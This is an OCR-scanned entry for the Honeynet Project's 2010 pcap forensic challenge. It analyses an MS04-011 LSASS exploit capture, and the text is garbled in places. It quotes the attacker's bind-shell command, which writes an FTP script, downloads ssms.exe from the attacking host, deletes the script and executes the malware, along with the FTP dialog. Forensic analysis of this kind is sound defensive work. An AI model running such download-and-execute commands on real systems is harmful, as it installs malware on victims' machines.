Challenge 1: Pcap Attack Trace (intermediate)
Submission Template

Send submissions to forensicchallenge2010@honeynet.org no later then 17:00 EST, Monday, February
1st 2010. Results wilbe released on Monday, February 15th 2010.

Name (required): Franck Guénichot
Country (optional): France

Questionl. Which systems (i.e. IP addresses) are involved? Possible Points: 2pt
Tools Used: tshark, pOf Awarded Point2pts
Answer 1.

Using tsharkit is possible to list IP hosts involved in a traffic capture file. This will give us some clues about the num
hosts involved in the attack / network incident.

franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 1$ tshiaattacktrace.pcapz ip_hosts,treeqn

IP Addresses value rate percent

IP Addresses 348 0,021456

98.114.205.102 348 0,021456 100,00%
192.150.11.111 348 0,021456 100,00%

So, only two hosts are involved, surely the &&@and the victim hosts. But, who was attacked ?
We have to know which one is the attacking host. But let's see that later...

The second valuable information to find at this steps, is maybe what operating systems are involved. We could try t(
thisby using pOf. pOf is a passive OS fingerprinting tool, meaning that it will try to identify which operating systems a
by the two hosts involved in this trace file, by analysing various network metrics.

franck@ODIN:~/Analysis/Sources/Honeynet/Chatie 1$ pOfs attackirace.pcapN

pOf - passive os fingerprinting utility, version 2.0.8

(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>

pOf: listening (SYN) on 'attackrace.pcap’, 262 sigs (14 generic, cksum OF1F5CA2), rule: "all'.
98.114.205.102:1821Windows XP SP1+, 2000 SP3

98.114.205.102:1828Windows XP SP1+, 2000 SP3

98.114.205.102:1924Windows XP SP1+, 2000 SP3

192.150.11.111:36296Linux 2.6 (newer, 3) (up: 11265 hrs)

98.114.205.102:2152Windows XP SP1+, 2000 SP3

[+] End of input file.

POf gives us interesting informations about the operating systems we have to deal with.

Using tshark and pOf, we have determined that two hosts are involved: 98.114.205.10 which is (surely) a Windows >
host and 192.150.11.111 whiha Linux 2.4/2.6 host.

The work is licensed under a Creative Commons License.
Copyright © The Honeynet Project, 2010

Page 1015



Examiner's Comments:

Question2. What can you find out about the attacking host (e.g., where is it located)? Possible Points: 2pt
Tools Used:tshark, whois, geoiplookup, maxmind geoip online Awarded Point2pts
Answer2.

First we have to know who is the attacking hosts.

The 2 first sessions are good candidates to identify which is the attacker and which is the victims.
98.114.205.102 has established a TCP conversation with 192.150.11.111 on port 445/TCP ({d&jrosoft

ThisTCP portisawek nown fivul nerabled port. At | east, it has
So, lets say 98.114.205.10 is the attacking host and 192.150.11.111 : the victim.

But it may be a good idea to submit thagpture file to an IDS like snort to confirm this assumption:

Ok, snort has detected something interesting and confirms that 98.114.205.102 is really the attacker.

Now, geoiplookup will help us in finding, where is located the attacking host:

United States.

Itis, also, possible to use Maxmind GeolP online:
GeolP online informations:

Host: 98.114.205.102

Country Code: US

Country name: United States
Region : PA
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Region name: Pennsylvania

City: Southampton

Postal code: 18966

Latitude: 40.1877

Longitude:-75.0058

ISP: Verizon Internet Services
Organization: Verizon Internet Services
Metro code: 504

Area code: 215

Examiner's Comments:

Question3.How many TCP sessions are contained in the dump file? Possible Points: 2pt
Tools Usedtshark Awarded Point2pts
Answer 3.

Tshark can list TCP conversations (or sessions) with the stats swzit@ngl the conv,tcp parameter.

We can see 5 TCP sessions in the capture file.
TCP conversations in this kind of tshark stats are ordered byrtberd of Bytes exchanged, thus they cannot be used to
define the flow graph of the attack.

Examiner's Comments:

Questiord. How long did it take to perform the attack? Possible Points: 2pt

Tools Used: capinfos, tshark Awarded Pointd.5
pts

Answer 4.

capinfos gives valuable informations on a pcap file.
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For example it gives the start and end time of the capture file, and the capture duration.

After having analyzed the capture file, I've assumed that all the traffic is part of the attackesjusmte of the exploit.
So, the total duration of the attack is equal to the capture duration of the pcap file. (See below)

So, 16 seconds were needed from the beginning of the exploit until the end of the attack.

This duration can be sliced inpérts:

Part 1: the recon ? (frame #1 to #4 : ~ 151 ms)

Part 2 : the exploit (frame #5 to # 40: ~ 2 seconds)

Part 3 : the command line (frame #36 to # 51 : ~ 3 seconds)
Part 4: the FTP dialog: (frame #50 to #67: ~ 1 second)

Part 5: the evil download: (fran#68 to #338: ~ 10 seconds)

Examiner's Comments:

Questions. Which operating system was targeted by the attack? And which service? Whicl
vulnerability?

Possible Points: 6pt

Tools Used: tshark

Awarded Point&pts

Answer 5.

Well, it seems evident that the operating systems that were targeted are Microsoft Windows: NT4.0, 208D4& PP
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SP1, Server 2003.

The exploited service wakocal Security Authority Subsystem Servigé&SASS).

The vulnerability was CVR20030533 (MS04011),thewellk nown ALSASS buffer over fl
worm for example.

This vulnerability exploit a lack of array boundary checking in a LSASS function (Operation:
DsRoleUpgradeDownleV8erver) which lead to a buffer overflow and coulduke to execute code remotely.

Examiner's Comments:

Question6. Can you sketch an overview of the general actions performed by the attacker?| Possible Points: 6pt

Tools Used: wireshark Awarded Point8pts

Answer 6.

First the attacker made a sortre€on on the victim 445/tcp port.

98.114.205.102

Time Comment
| 192.150.11.111
. .
SYN = =
i 0,000 {'Hﬂ:ﬁ’:{ﬂﬂ Seq = 0 Ack = 2747553676
L sYN :
[Pag e Sl e e =0Ack=1
0,000 (taz1)! o aa5) Seq
|0.119 g2 —— b Seq =1 Ack =1
0 FIN, ACK 0 = =
EE S E S =1Ack=1
0,134 (1821)’ ox 1(245) Seq
10,135 gy ——2EE s Seq =1 Ack=2
0 ACHK 0 = =
[Pag = Sl L e R =1Ack=2
0,238 (taz1)! o aa5) Seq
0,354 Bl Seq=2Ack=2
. .
. .
. .
. .
. .
The it tries to exploit the vulnerable host:
Connects to IPC$ share on the victim and requksstspc
15 0.602303 0.000015 192.150.11.111 98.114.205.102 54 TCP microsoft-ds > itm-mcell-u [ACK] Seg=90 Ack=3086 Win=7504 Len=0
16 ©.723001 0.120698 192.156.11.111 98.114.205.102 311 sMB Session Setup AndX Response, NTLMSSP CHALLENGE, Error: STATUS MORE Pt
17 0.840485 0.117404 98.114.205.102 192.150.11.111 276 SMB Session Setup AndX Request, NTLMSSP AUTH, User: \
18 0.840419 0.000014 192.150.11.111 98.114.205.102 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=347 Ack=528 Win=8576 Len=0
19 0.957617 0.117198 192.150.11.111 98.114.205.102 175 sMB Session Setup AndX Response
20 1.073151 0.115534 98.114.205.102 192.150.11.111 152 sMB Tree Connect AndX Request, Path: \\192.156.11.111\ipc$
21 1.073174 0.000023 192.156.11.111 98.114.205.1602 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=468 Ack=626 Win=8576 Len=0
22 1.189374 0.116200 192.150.11.111 98.114.205.102 114 sMB Tree Connect AndX Response
23 1.307145 0.117771 98.114.205.102 192.150.11.111 158 SMB NT Create AndX Request, FID: ©x4800, Path: \lsarpc
24 1.307168 0.000023 192.150.11.111 98.114.205.102 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=528 Ack=730 Win=8576 Len=0
25 1.424860 0.117692 192.150.11.111 98.114.205.102 193 sMB NT Create AndX Response, FID: 0x4000
26 1.542389 8.117529 98.114.205.102 192.1560.11.111 214 DCERPC Bind: call id: 1 DSSETUP Ve.©
27 1.542401 0.000012 192.150.11.111 98.114.205.102 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=667 Ack=898 Win=9648 Len=0
28 1.670219 0.127818 192.150.11.111 98.114.205.102 182 DCERPC Bind ack: call id: 1 accept max xmit: 4280 max recv: 4280

Then it attacks (exploits) the vulnerability (frame #33):
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30 1.797886 0.6000013 192.156.11.111 98.114.205.182 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=795 Ack=2350 Win=11680 Len=0
31 1.803993 0.006107 98.114.205.102 192.150.11.111 1514 TCP [TCP segment of a reassembled PDU]

32 1.804003 0.000010 192.15€.11.111 98.114.205.182 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=795 Ack=3810 Win=14600 Len=0
33 1.865992 0.081989 98.114.205.1682 192.156.11.111 454 DSSETUP DsRoleUpgradeDownlevelServer request[Long frame (3208 bytes)]

34 1.806001 0.000009 192.150.11.111 98.114.205.102 54 TCP microsoft-ds > itm-mcell-u [ACK] Seq=795 Ack=4210 Win=17520 Len=0

Now, the victim has a new tcp socket listenargport 1957, with a command shell bound to it.
So the attacker will connect to this port, to send to the victim commands needed to download the malware.

No. . Time delta Source Destination length Protocol Info
36 2.091833 2.091833 98.114.205.102 192.150.11.111 xiip > unix-status [SYN] Seg=8 Win=64246 Len=8 MS55=1460
39 2.209143 0.116898 98.114.205.102 192.156.11.111 60 TCP xiip > unix-status [ACK] Seg=1 Ack=1 Win=64240 Len=0
41 3.327353 1.118210 192.150.11.111 98.114.205.102 55 TCP unix-status > xiip [PSH, ACK] Seq=1 Ack=1 Win=5840 Len=1
42 3.444956 0.1176083 98.114.205.102 192.156.11.111 177 TCP xiip > unix-status [PSH, ACK] Seq=1 Ack=2 Win=64239 Len=123
43 3.444971 0.000015 192.150.11.111 98.114.205.102 54 TCP unix-status > xiip [ACK] Seg=2 Ack=124 Win=5840 Len=0
44 3.944177 0.499206 98.114.205.102 192.150.11.111 64 TCP xiip > unix-status [PSH, ACK] Seq=124 Ack=2 Win=64239 Len=10
45 3.944185 0.000008 192.156.11.111 98.114.205.102 54 TCP unix-status > xiip [ACK] Seq=2 Ack=134 Win=5848 Len=0
46 4.943355 0.999170 192.150.11.111 98.114.205.102 55 TCP unix-status > xiip [PSH, ACK] Seq=2 Ack=134 Win=5848 Len=1

51 5.191856 0.119765 98.114.205.102 192.156.11.111 60 TCP xiip > unix-status [ACK] Seq=135 Ack=4 Win=64238 Len=@

The command sent were:

echo open ©.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
SSMS . exe

Then the victim will initiate an FTP connection to the attacker andnyitbtdownload a file name ssms.exe:

-Stream Content:

220 NzmxFtpd Gwns j@

USER 1

331 Password required

PASS 1

230 User logged in.

SYST

215 NzmxFtpd

TYPE I

200 Type set to I.

PORT 192,15e,11,111,4,56
200 PORT command successful.
RETR ssms.exe

1568 Opening BINARY mode data connection
QuUIT

226 Transfer complete.

‘221 Goodbye happy reeting.

Then attacking hosts will then connect back to the victim on the annouced tcp port (PORT command)
The malware is retrieved, and executed on the victim.
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